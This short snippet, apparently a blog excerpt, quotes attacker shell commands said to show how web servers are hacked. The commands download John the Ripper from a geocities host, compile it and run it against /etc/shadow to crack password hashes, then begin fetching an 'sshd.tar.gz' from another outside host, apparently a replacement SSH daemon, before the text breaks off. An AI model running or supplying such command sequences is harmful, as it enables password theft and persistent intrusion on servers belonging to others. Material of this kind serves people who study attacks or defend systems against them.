Here’s a rather interesting forum post that details how hackers hack web servers:
w
wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf
john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd
../run;./john /etc/shadow
wget www.geocities.com/securedro/sshd.tar.gz;tar ...